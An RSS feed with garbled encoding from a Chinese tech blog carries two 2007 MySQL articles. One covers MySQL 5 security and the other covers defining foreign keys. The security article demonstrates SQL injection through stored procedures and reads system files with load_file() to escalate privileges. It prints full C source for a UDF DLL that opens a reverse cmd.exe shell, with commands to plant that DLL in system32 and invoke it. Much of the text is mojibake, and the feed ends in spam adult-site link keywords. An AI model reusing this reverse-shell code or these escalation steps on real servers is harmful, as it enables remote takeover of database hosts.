锘??xml version="1.0" encoding="utf-8" standalone="yes"?>国产亚洲精品无码拍拍拍色欲,亚洲视频一区在线,亚洲春色另类小说http://www.tkk7.com/msmary/category/26456.html涔﹀北鏈夎礬鍕や負(fù)寰勶紝瀛︽搗鏃犳動鑻︿綔鑸?/description>zh-cnThu, 25 Oct 2007 17:19:55 GMTThu, 25 Oct 2007 17:19:55 GMT60Mysql5涓殑瀹夊叏鏂歸潰鐨勮冭檻http://www.tkk7.com/msmary/articles/154866.html璋槑璋槑Mon, 22 Oct 2007 01:54:00 GMThttp://www.tkk7.com/msmary/articles/154866.htmlhttp://www.tkk7.com/msmary/comments/154866.htmlhttp://www.tkk7.com/msmary/articles/154866.html#Feedback0http://www.tkk7.com/msmary/comments/commentRss/154866.htmlhttp://www.tkk7.com/msmary/services/trackbacks/154866.html

Mysql5澧炲姞寰堝鏂扮殑鍔熻兘錛屽紑濮嬫敮鎸侊細(xì)瀛樺偍榪囩▼銆佽Е鍙戝櫒銆佽鍥俱佷俊鎭灦鏋勮鍥劇瓑鏂扮壒銆傚彲浠ヨ榪欎簺閮芥槸鍙戝睍鐨勫繀鐒訛紝浣嗘槸鏂扮殑涓滆タ鐨勫嚭鏉ワ紝蹇呭畾涔熶細(xì)甯︽潵鏂扮殑瀹夊叏闂錛屽Mysql4寮濮嬫敮鎸乽nion鏌ヨ銆佸瓙鏌ヨ銆傝繖鐩存帴瀵艱嚧mysql娉ㄥ皠鏇村鏄撱佸箍娉涖俶ysql5鐨勬柊鍔熻兘浼?xì)缁欏畨鍏ㄥ甫鏉ヤ粈涔堟柊鐨勪笢瑗垮憿錛熶笅闈㈡垜緇欏ぇ瀹朵粙緇嶄笅mysql5鍦ㄥ畨鍏ㄦ柟闈㈢殑鐗圭偣錛?nbsp;

涓銆乸assword authentication 

mysql5鐨刾assword()鍜宮ysql4.1涓鏍鳳紝閲囩敤鐨勫熀浜嶴HA1鐨?1浣峢ash錛?nbsp;

mysql> select password(’mypass’); 
+-------------------------------------------+ 
| password(’mypass’) | 
+-------------------------------------------+ 
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 | 
+-------------------------------------------+ 
1 row in set (0.00 sec) 

鍦╩ysql4.1浠ュ墠鐨刾assword hashes鏄熀浜?6浣峬d5錛?nbsp;

mysql> SELECT PASSWORD(’mypass’); 
+--------------------+ 
| PASSWORD(’mypass’) | 
+--------------------+ 
| 6f8c114b58f2ce9e | 
+--------------------+ 

褰撲嬌鐢ㄤ綆鐗堟湰鐨凜lient榪炴帴鏃訛紝鍥炲嚭鐜伴敊璇細(xì)Client does not support authentication protocol錛屼負(fù)浜嗚В鍐寵繖涓棶棰橈紝mysql5鎻愪緵浜嗕竴涓猳ld_password(),灝辯浉褰撲簬mysql4.1浠ュ墠鐨勭殑password(): 

mysql> select old_password(’mypass’); 
+------------------------+ 
| old_password(’mypass’) | 
+------------------------+ 
| 6f8c114b58f2ce9e | 
+------------------------+ 
1 row in set (0.09 sec) 

浜屻佹暟鎹瓧鍏?information_schema) 

鍜宮ssql銆乷racle銆乨b2絳夋暟鎹簱涓鏍鳳紝mysql5鎻愪緵浜嗕竴涓郴緇熸暟鎹簱錛歩nformation_schema 
mysql> use information_schema; 
Database changed 
mysql> show tables; 
+---------------------------------------+ 
| Tables_in_information_schema | 
+---------------------------------------+ 
| CHARACTER_SETS | 
| COLLATIONS | 
| COLLATION_CHARACTER_SET_APPLICABILITY | 
| COLUMNS | 
| COLUMN_PRIVILEGES | 
| KEY_COLUMN_USAGE | 
| ROUTINES | 
| SCHEMATA | 
| SCHEMA_PRIVILEGES | 
| STATISTICS | 
| TABLES | 
| TABLE_CONSTRAINTS | 
| TABLE_PRIVILEGES | 
| TRIGGERS | 
| VIEWS | 
| USER_PRIVILEGES | 
+---------------------------------------+ 
16 rows in set (0.17 sec) 

鍦ㄨ繖涓暟鎹簱閲屾垜浠彲浠ュ緱鍒板緢澶氫俊鎭紝鍖呮嫭褰撳墠鐢ㄦ埛鏉冮檺錛?nbsp;
mysql> select * from information_schema.USER_PRIVILEGES; 
+-----------+---------------+----------------+--------------+ 
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | 
+-----------+---------------+----------------+--------------+ 
| ’KK1’@’%’ | NULL | USAGE | NO | 
+-----------+---------------+----------------+--------------+ 
1 row in set (0.02 sec) 

褰撳墠鐢ㄦ埛鏉冮檺涓嬪彲浠ヨ闂殑鏁版嵁搴擄紝琛紝鍒楀悕錛堣繖涓湪sql娉ㄥ皠涓紝瀵艱嚧鐩存帴鏆村尯鏁版嵁搴擄紝琛ㄥ垪鍚嶏紝鍐嶄篃涓嶈‘鏆村姏’鍜級錛?nbsp;

mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from

 information_schema.STATIS 
TICS; 
+--------------+------------+-------------+ 
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | 
+--------------+------------+-------------+ 
| in | article | articleid | 
| in | user | userid | 
+--------------+------------+-------------+ 
2 rows in set (0.02 sec) 

榪樺彲浠ュ緱鍒板綋鍓嶇敤鎴鋒潈闄愪笅鐨刅IEWS錛孯OUTINES絳夛紝鍏充簬ROUTINES鎴戜滑鍦ㄤ笅闈㈢殑‘瀛樺偍榪囩▼’閲岃緇嗕粙緇嶃?nbsp;

[ps:娉ㄦ剰鏄?#8216;褰撳墠鐢ㄦ埛鏉冮檺’濡傛灉鏄痳oot錛岄偅涔堝お鍙互寰楀埌鎵鏈夌殑鏁版嵁搴撳悕縐頒互鍙?qiáng)琛ㄥ垪鍚嵔{夌瓑] 

涓夈佸瓨鍌ㄨ繃紼?Stored Procedures) 

’瀛樺偍榪囩▼’鐨勪嬌鐢ㄦ槸mysql5鐨勪竴涓棯鍏夌偣錛屽湪甯︽潵鏂逛究鐨勫悓鏃訛紝瀹冧篃甯︽潵浜嗘柊鐨勫畨鍏ㄩ殣鎮(zhèn)o細(xì)濡俿ql娉ㄥ皠錛岀敤鎴鋒潈闄愭彁鍗囩瓑絳夈?nbsp;

D:\mysql5\bin>mysql -uroot -p 
Enter password: ****** 
Welcome to the MySQL monitor. Commands end with ; or \g. 
Your MySQL connection id is 4 to server version: 5.0.18 

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer. 

mysql> use in 
Database changed 
mysql> delimiter // 
mysql> CREATE PROCEDURE test(id INT) 
-> BEGIN 
-> SELECT * FROM in.USER WHERE USERID=ID; 
-> END// 
Query OK, 0 rows affected (0.08 sec) 

mysql> delimiter ; 

mysql> call test(1); 
+--------+----------+----------+ 
| userid | username | password | 
+--------+----------+----------+ 
| 1 | angel | mypass | 
+--------+----------+----------+ 
1 row in set (0.00 sec) 

Query OK, 0 rows affected (0.00 sec) 

涓婇潰鎴戜滑浣跨敤root鍦ㄦ暟鎹簱in閲屽垱寤轟簡涓涓悕涓簍est鐨勫瓨鍌ㄨ繃紼嬨?nbsp;

a銆丼QL Injection 

mysql> call test(1 and 1=1); 
+--------+----------+----------+ 
| userid | username | password | 
+--------+----------+----------+ 
| 1 | angel | mypass | 
+--------+----------+----------+ 
1 row in set (0.00 sec) 

Query OK, 0 rows affected (0.01 sec) 

mysql> call test(1 and 1=2); 
Empty set (0.00 sec) 

Query OK, 0 rows affected (0.00 sec) 

b銆佽法鏉冮檺 
瀛樺偍榪囩▼鏄戶鎵垮垱寤鴻呯殑鏉冮檺鐨勶紝濡傛灉瀛樺偍榪囩▼鏄痳oot鍒涘緩鐨勶紝褰撳叾浠栨櫘閫氱敤鎴蜂嬌鐢ㄨ繖涓瓨鍌ㄨ繃紼嬫椂錛屽鑷磋法鏉冮檺鏀誨嚮錛?nbsp;

mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE 
-> ON `IN`.* 
-> TO ’KK1’@’%’ 
-> IDENTIFIED BY ’OBSCURE’; 
Query OK, 0 rows affected (0.03 sec) 

涓婇潰寤虹珛涓涓狵K1鐨勭敤鎴峰彧鍦ㄦ暟鎹簱in涓湁SELECT, INSERT, UPDATE, DELETE, EXECUTE鏉冮檺錛屼嬌鐢↘K1鐧婚檰錛?nbsp;
D:\mysql5\bin>mysql -uKK1 -p 
Enter password: ****** 
Welcome to the MySQL monitor. Commands end with ; or \g. 
Your MySQL connection id is 5 to server version: 5.0.18 

Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer. 

mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,

ROUTINE_DEFINITION from inform 
ation_schema.ROUTINES; 
+----------------+--------------+----------------+--------------------+ 
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION | 
+----------------+--------------+----------------+--------------------+ 
| in | test | root@localhost | | 
| in | tt | root@localhost | | 
+----------------+--------------+----------------+--------------------+ 
2 rows in set (0.01 sec) 

鎴戜滑鍙互寰楀埌KK1鍙互浣跨敤瀛樺偍榪囩▼in.test 鍏跺垱寤鴻呬負(fù)root@localhost銆備笉榪嘖K1娌℃湁鏉冮檺寰楀埌ROUTINE_DEFINITION 灝辨槸in.test鐨勪唬鐮併備笅闈㈢湅鐪嬭法鏉冮檺錛?nbsp;

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))>0); 
+--------+----------+----------+ 
| userid | username | password | 
+--------+----------+----------+ 
| 1 | angel | mypass | 
+--------+----------+----------+ 
1 row in set (0.00 sec) 

Query OK, 0 rows affected (0.01 sec) 

mysql> call in.test(1 and length(load_file(’c:/boot.ini’))<0); 
Empty set (0.00 sec) 

Query OK, 0 rows affected (0.00 sec) 

娌℃湁file鏉冮檺鐨凨K1鍙互浣跨敤in.test浣跨敤load_file()錛屾垜浠繕鍙互鐩存帴瀵筸ysql.user榪涜select錛屽鏋滃瓨鍌ㄨ繃紼嬪彲浠pdata錛宨nsert娉ㄥ皠錛岄偅涔堟垜浠彲浠ユ櫘閫氱敤鎴風(fēng)洿鎺ラ氳繃娉ㄥ皠鏉ヤ慨鏀筸ysql.user閲岀殑鏁版嵁銆?nbsp;

鍥涖乁ser-Defined Function  

[ps錛氫笅闈㈤兘鏄熀浜巜in緋葷粺] 

mysql5鐨剈df鍦ㄦ牸寮忓拰瀹夊叏鏂歸潰鍋氫竴浜涙柊鐨勬敼鍙橈細(xì) 
1銆佹牸寮忚姹傛洿鍔犱弗鏍糩xxx_init()鍒濆鍖栧嚱鏁癩 
瀵逛簬娌℃湁xxx_init()鍒濆鍖栧嚱鏁?nbsp;鍦ㄤ互鍓嶇殑鐗堟湰鏄彲浠ヤ嬌鐢ㄧ殑錛屼絾鏄湪mysql5涓嬩細(xì)鍑虹幇Can’t find function ’xxx_init’ in library鐨勯敊璇紝濡傦細(xì) 

mysql> create function ExitProcess returns integer soname ’kernel32’; 
ERROR 1127 (HY000): Can’t find function ’ExitProcess_init’ in library 

涓嬮潰緇欏嚭鐨勪唬鐮佹槸濂藉弸浜戣垝鍐欑殑錛岀鍚坢ysql5鐨剈df鏍煎紡瑕佹眰鍙互鍦╩ysql5涓嬩嬌鐢細(xì) 

/******************************* 
* File: MySQL_Shell.cpp  
* Author: 浜戣垝(wustyunshu at hotmail dot com)  
* Date: 2005-12-12  
******************************** 
#include <stdio.h>  
#include <winsock2.h>  
#include <windows.h>  

#define MAKE_DLL /* Build dll here */  

#include "MySQL_Shell.h"  

#pragma comment( lib, "ws2_32" )  

#define BUFFER_SIZE 1024  

//////////////////////////////// 
//鍑芥暟鍘熷瀷  
///////////////////////////////// 

BOOL StartWith( char *, char * );  
void LogMsg( char * );  

////////////////////////////////// 
//MySQL妯″潡鍒濆鍖栧嚱鏁?nbsp; 
//////////////////////////////// 

LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )  
{  
if ( args->arg_count != 2 )  
{  
strcpy( message, "Shell() requires two arguments" );  
return 1;  
}  

if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )  
{  
strcpy( message, "Shell() requires two string arguent" );  
return 1;  
}  

return 0;  
}  

 


//////////////////////////////// 
//MySQL妯″潡涓誨姛鑳藉嚱鏁幫紝鍙嶅悜榪炴帴鎻愪緵shell  
///////////////////////////////// 

LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )  
{  
SOCKET sock;  
SOCKADDR_IN sin;  
int ret;  

// Create socket  
sock = socket( AF_INET, SOCK_STREAM, 0 );  
if ( sock == INVALID_SOCKET )  
{  
strcpy( error, "Create socket error" );  

return -1;  
}  

sin.sin_family = AF_INET;  
sin.sin_port = htons( atoi(args->args[1]) );  
sin.sin_addr.s_addr = inet_addr( args->args[0] );  

//connect to remote server  
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );  
if( ret == SOCKET_ERROR )  
{  
strcpy( error, "Connect error" );  

return -1;  
}  

SECURITY_ATTRIBUTES sa;  

sa.nLength = sizeof( sa );  
sa.lpSecurityDescriptor = 0;  
sa.bInheritHandle = TRUE;  

HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  

ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );  
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );  

STARTUPINFO si;  
ZeroMemory( &si, sizeof(si) );  

GetStartupInfo( &si );  

si.cb = sizeof( si );  
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  
si.wShowWindow = SW_HIDE;  
si.hStdInput = hReadPipe2;  
si.hStdOutput = si.hStdError = hWritePipe1;  

PROCESS_INFORMATION processInfo;  

char cmdLine[] = "cmd.exe";  

ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );  
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);  

char buff[BUFFER_SIZE] = { 0 };  
unsigned long bytesRead = 0;  
int i = 0;  

while( TRUE )  
{  
memset( buff, 0, BUFFER_SIZE );  

ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );  

for(i = 0; i < 5 && bytesRead == 0; i++)  
{  
Sleep(100);  
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );  
}  

if( bytesRead )  
{  
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );  
if( !ret ) break;  

ret = send( sock, buff, bytesRead, 0 );  
if( ret <= 0 ) break;  
}  
else  
{  
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );  

if( bytesRead <= 0 ) break;  

if( StartWith( buff , "exit" ) == TRUE ) break;  

ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );  
if( !ret ) break;  
}  
}  

TerminateProcess( processInfo.hProcess, 0 );  

CloseHandle( hReadPipe1 );  
CloseHandle( hReadPipe2 );  
CloseHandle( hWritePipe1 );  
CloseHandle( hWritePipe2 );  

closesocket( sock );  

return 0;  
}  

/////////////////////////////////// 
//鍒ゆ柇瀛楃涓叉槸鍚︿互鍙︿竴涓瓧絎︿覆寮澶?nbsp; 
//////////////////////////////////// 

BOOL StartWith( char *buf1, char *buf2 )  
{  
int len = strlen(buf2);  

if( memcmp( buf1,buf2,len ) == 0 )  
{  
return TRUE;  
}  
return FALSE;  
}  

///////////////////////////////////// 
//璁板綍鏃ュ織淇℃伅錛岃皟璇曠敤  
/////////////////////////////////// 

void LogMsg( char *msg )  
{  
FILE *fp;  

fp = fopen( "C:\mysql.txt", "a+" );  

fputs( msg, fp );  

fclose( fp );  
}  

/******************************** 
* File: MySQL_Shell.h  
* Author: 浜戣垝(wustyunshu at hotmail dot com)  
* Date: 2005-12-12  
********************************* 

#ifdef MAKE_DLL  
#define LIB extern "C" __declspec(dllexport)  
#else  
#define LIB extern "C" __declspec(dllimport)  
#endif  

#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */  

typedef char my_bool;  

enum Item_result  
{  
STRING_RESULT,REAL_RESULT,INT_RESULT  
};  

typedef struct st_udf_args  
{  
unsigned int arg_count; /* Number of arguments */  
enum Item_result *arg_type; /* Pointer to item_results */  
char **args; /* Pointer to argument */  
unsigned long *lengths; /* Length of string arguments */  
char *maybe_null; /* Set to 1 for all maybe_null args */  
} UDF_ARGS;  

typedef struct st_udf_init  
{  
my_bool maybe_null; /* 1 if function can return NULL */  
unsigned int decimals; /* for real functions */  
unsigned int max_length; /* For string functions */  
char *ptr; /* free pointer for function data */  
char const_item; /* 0 if result is independent of arguments */  
} UDF_INIT;  

LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );  

LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );  

2銆乵ysql5闄愬埗浜唘df瀵瑰簲鐨勬枃浠禿ll鏂囦歡鍙彲浠ユ斁鍦╯ystem32鐩綍涓嬨?nbsp;
瀵逛簬涓鑸綆鏉冮檺鐨勭郴緇熺敤鎴鋒槸娌℃湁瀵箂ystem32鐩綍鍐欐潈闄愮殑錛屽湪榪欐牱鐨勬儏鍐典笅鎴戜滑鍙互浣跨敤into dumpfile鎶奷ll鏂囦歡鏀懼埌system32鏉ョ獊鐮達(dá)紝鍏蜂綋濡備笅錛?nbsp;
mysql> use mysql; 
Database changed 
mysql> create table heige(line blob); 
Query OK, 0 rows affected (0.50 sec) 

mysql> insert into heige values(load_file(’c:/udf.dll’)); 
Query OK, 1 row affected (0.08 sec) 

mysql> select * from heige into dumpfile ’c:/winnt/system32/heige.dll’; 
Query OK, 1 row affected (0.18 sec) 

mysql> create function shell returns integer soname ’heige.dll’; 
Query OK, 0 rows affected (0.07 sec) 

mysql> select * from mysql.func; 
+-------+-----+-----------+----------+ 
| name | ret | dl | type | 
+-------+-----+-----------+----------+ 
| shell | 2 | heige.dll | function | 
+-------+-----+-----------+----------+ 
1 row in set (0.00 sec) 

mysql> select shell(’127.0.0.1’,’1234’); 
+---------------------------+ 
| shell(’127.0.0.1’,’1234’) | 
+---------------------------+ 
| NULL | 
+---------------------------+ 
1 row in set (0.97 sec) 

浜斻佸弬鑰?nbsp;
銆奙ySQL 5.0 Reference Manual銆?nbsp;http://dev.mysql.com/doc/refman/5.0/en/ 
銆奌ackproofing MySQL銆?nbsp;http://www.ngssoftware.com/papers/HackproofingMySQL.pdf 
銆婄粰mysql鍔犱釜鑷畾涔夊嚱鏁幫紙windows騫沖彴錛夈媓ttp://www.icylife.net/yunshu/show.php?id=244 

璋槑 2007-10-22 09:54 鍙戣〃璇勮
]]>
鍦∕ySQL鏁版嵁搴撲腑瀹氫箟澶栭敭http://www.tkk7.com/msmary/articles/153738.html璋槑璋槑Wed, 17 Oct 2007 19:21:00 GMThttp://www.tkk7.com/msmary/articles/153738.htmlhttp://www.tkk7.com/msmary/comments/153738.htmlhttp://www.tkk7.com/msmary/articles/153738.html#Feedback0http://www.tkk7.com/msmary/comments/commentRss/153738.htmlhttp://www.tkk7.com/msmary/services/trackbacks/153738.html瀹氫箟鏁版嵁琛?/span>

鍋囧鏌愪釜鐢?shù)鑴戠敓漶斿晢锛屽畠鐨勬暟鎹簱涓繚瀛樼潃鏁存満鍜岄厤浠剁殑浜у搧淇℃伅銆傜敤鏉ヤ繚瀛樻暣鏈轟駭鍝佷俊鎭殑琛ㄥ彨鍋?/span>pc錛涚敤鏉ヤ繚瀛橀厤浠朵緵璐т俊鎭殑琛ㄥ彨鍋?/span>parts銆?/span>

鍦?/span>pc琛ㄤ腑鏈変竴涓瓧孌碉紝鐢ㄦ潵鎻忚堪榪欐鐢?shù)鑴戞墍浣跨敤鐨?/span>CPU鍨嬪彿錛涘湪parts琛ㄤ腑鐩稿簲鏈変竴涓瓧孌碉紝鎻忚堪鐨勬鏄?/span>CPU鐨勫瀷鍙鳳紝鎴戜滑鍙互鎶婂畠鎯蟲垚鏄叏閮?/span>CPU鐨勫瀷鍙峰垪琛ㄣ?/span>

寰堟樉鐒訛紝榪欎釜鍘傚鐢熶駭鐨勭數(shù)鑴戯紝鍏朵嬌鐢ㄧ殑CPU涓瀹氭槸渚涜揣淇℃伅琛?/span>(parts)涓瓨鍦ㄧ殑鍨嬪彿銆傝繖鏃訛紝涓や釜琛ㄤ腑灝卞瓨鍦ㄤ竴縐嶇害鏉熷叧緋?/span>(constraint)鈥斺攑c琛ㄤ腑鐨?/span>CPU鍨嬪彿鍙楀埌parts琛ㄤ腑鍨嬪彿鐨勭害鏉熴?/span>

棣栧厛鎴戜滑鏉ュ垱寤?/span>parts琛細(xì)

CREATE TABLE parts (

...
瀛楁瀹氫箟 ...,

model VARCHAR(20) NOT NULL,

... 瀛楁瀹氫箟 ...

);

鎺ヤ笅鏉ユ槸PC琛細(xì)

CREATE TABLE pc (

...
瀛楁瀹氫箟 ...,

cpumodel VARCHAR(20) NOT NULL,

... 瀛楁瀹氫箟 ...

};

璁劇疆绱㈠紩

鑻ヨ璁劇疆澶栭敭錛屽湪鍙傜収琛?/span> (referencing table錛屽嵆pc琛?/span>) 鍜岃鍙傜収琛?/span>(referenced table錛屽嵆parts琛?/span>)涓紝鐩稿搴旂殑涓や釜瀛楁蹇呴』閮借緗儲寮?/span>(index)銆?/span>

瀵?/span>parts琛細(xì)

ALTER TABLE parts ADD INDEX idx_model (model);

榪欏彞璇濈殑鎰忔濇槸錛屼負(fù)parts琛ㄥ鍔犱竴涓儲寮曪紝绱㈠紩寤虹珛鍦?/span>model瀛楁涓婏紝緇欒繖涓儲寮曡搗涓悕瀛楀彨idx_model銆?/span>

瀵?/span>pc琛ㄤ篃綾諱技錛?/span>

ALTER TABLE pc ADD INDEX idx_cpumodel (cpumodel);

浜嬪疄涓婅繖涓や釜绱㈠紩鍙互鍦ㄥ垱寤鴻〃鐨勬椂鍊欏氨璁劇疆銆傝繖閲屽彧鏄負(fù)浜嗙獊鍑哄叾蹇呰鎬с?/span>

瀹氫箟澶栭敭

涓嬮潰涓轟袱寮犺〃涔嬮棿寤虹珛鍓嶉潰鎵榪扮殑閭g綰︽潫銆傚洜涓?/span>pc鐨?/span>CPU鍨嬪彿蹇呴』鍙傜収parts琛ㄤ腑鐨勭浉搴斿瀷鍙鳳紝鎵浠ユ垜浠皢pc琛ㄧ殑cpumodel瀛楁璁劇疆涓?/span>澶栭敭”(FOREIGN KEY)錛屽嵆榪欎釜閿殑鍙傜収鍊兼潵鑷簬鍏朵粬琛ㄣ?/span>

ALTER TABLE pc ADD CONSTRAINT fk_cpu_model

FOREIGN KEY (cpumodel)

REFERENCES parts(model);

絎竴琛屾槸璇磋涓?/span>pc琛ㄨ緗閿紝緇欒繖涓閿搗涓涓悕瀛楀彨鍋?/span>fk_cpu_model錛涚浜岃鏄灝嗘湰琛ㄧ殑cpumodel瀛楁璁劇疆涓哄閿紱絎笁琛屾槸璇磋繖涓閿彈鍒扮殑綰︽潫鏉ヨ嚜浜?/span>parts琛ㄧ殑model瀛楁銆?/span>

榪欐牱錛屾垜浠殑澶栭敭灝辨悶濂戒簡錛佸鏋滄垜浠瘯鐫CREATE涓鍙?/span>pc錛屽畠鎵浣跨敤鐨?/span>CPU鐨勫瀷鍙鋒槸parts 琛ㄤ腑涓嶅瓨鍦ㄧ殑錛岄偅涔?/span>MySQL浼?xì)绂佹杩欏?/span>PC琚?/span>CREATE鍑烘潵銆?/span>

綰ц仈鎿嶄綔

鑰冭檻浠ヤ笅榪欑鎯呭喌錛?/span>

鎶鏈漢鍛樺彂鐜幫紝涓涓湀涔嬪墠杈撳叆鍒?/span>parts琛ㄤ腑鐨勬煇涓郴鍒楃殑cpu錛堝彲鑳芥湁寰堝嬈撅級鐨勫瀷鍙峰叏閮借緭閿欎簡涓涓瓧姣嶏紝鐜板湪闇瑕佹敼姝c傛垜浠笇鏈涚殑鏄紝褰?/span>parts琛ㄤ腑閭d簺 Referenced Column 鏈夋墍鍙樺寲鏃訛紝鐩稿簲琛ㄤ腑鐨?/span> Referencing Column 涔熻兘鑷姩鏇存銆?/span>

鍙互鍦ㄥ畾涔夊閿殑鏃跺欙紝鍦ㄦ渶鍚庡姞鍏ヨ繖鏍風(fēng)殑鍏抽敭瀛楋細(xì)

ON UPDATE CASCADE;

鍗沖湪涓昏〃鏇存柊鏃訛紝瀛愯〃錛堜滑錛変駭鐢熻繛閿佹洿鏂板姩浣滐紝浼間箮鏈変簺浜哄枩嬈㈡妸榪欎釜鍙?/span>綰ц仈鎿嶄綔銆?/span>

濡傛灉鎶婅繖璇彞瀹屾暣鐨勫啓鍑烘潵錛屽氨鏄細(xì)

ALTER TABLE pc ADD CONSTRAINT fk_cpu_model

FOREIGN KEY (cpumodel)

REFERENCES parts(model)

ON UPDATE CASCADE;

闄や簡CASCADE澶栵紝榪樻湁RESTRICT(紱佹涓昏〃鍙樻洿)銆?/span>SET NULL



璋槑 2007-10-18 03:21 鍙戣〃璇勮
]]>
主站蜘蛛池模板: 国产高清不卡免费视频| 亚洲永久无码3D动漫一区| 精品久久久久久亚洲| 亚洲AV无码一区二区大桥未久| 99免费在线视频| 免费人成无码大片在线观看| 亚洲成a人片在线观看中文!!!| 亚洲黄色高清视频| 本免费AV无码专区一区| 亚洲乱码中文字幕手机在线| 黄色免费网站在线看| 国外成人免费高清激情视频 | 污视频网站免费在线观看| 麻豆成人精品国产免费| 亚洲经典在线观看| 最近免费中文字幕大全高清大全1| 亚洲&#228;v永久无码精品天堂久久 | 综合在线免费视频| 亚洲性天天干天天摸| 19禁啪啪无遮挡免费网站| 亚洲一本之道高清乱码| 免费黄色小视频网站| 九九九精品视频免费| 亚洲av中文无码乱人伦在线咪咕 | 一本色道久久综合亚洲精品高清| 男女一进一出抽搐免费视频| 亚洲AV无码日韩AV无码导航| 1000部国产成人免费视频| 亚洲人成电影网站色www| 亚洲av区一区二区三| 久别的草原电视剧免费观看| 亚洲精品伊人久久久久| 亚洲国产精品一区二区第四页 | 国产92成人精品视频免费| 亚洲AV成人一区二区三区观看 | 亚洲国产午夜中文字幕精品黄网站 | 亚洲黄网站wwwwww| 日本一道在线日本一道高清不卡免费| av网站免费线看| 7777久久亚洲中文字幕| 亚洲综合国产精品第一页|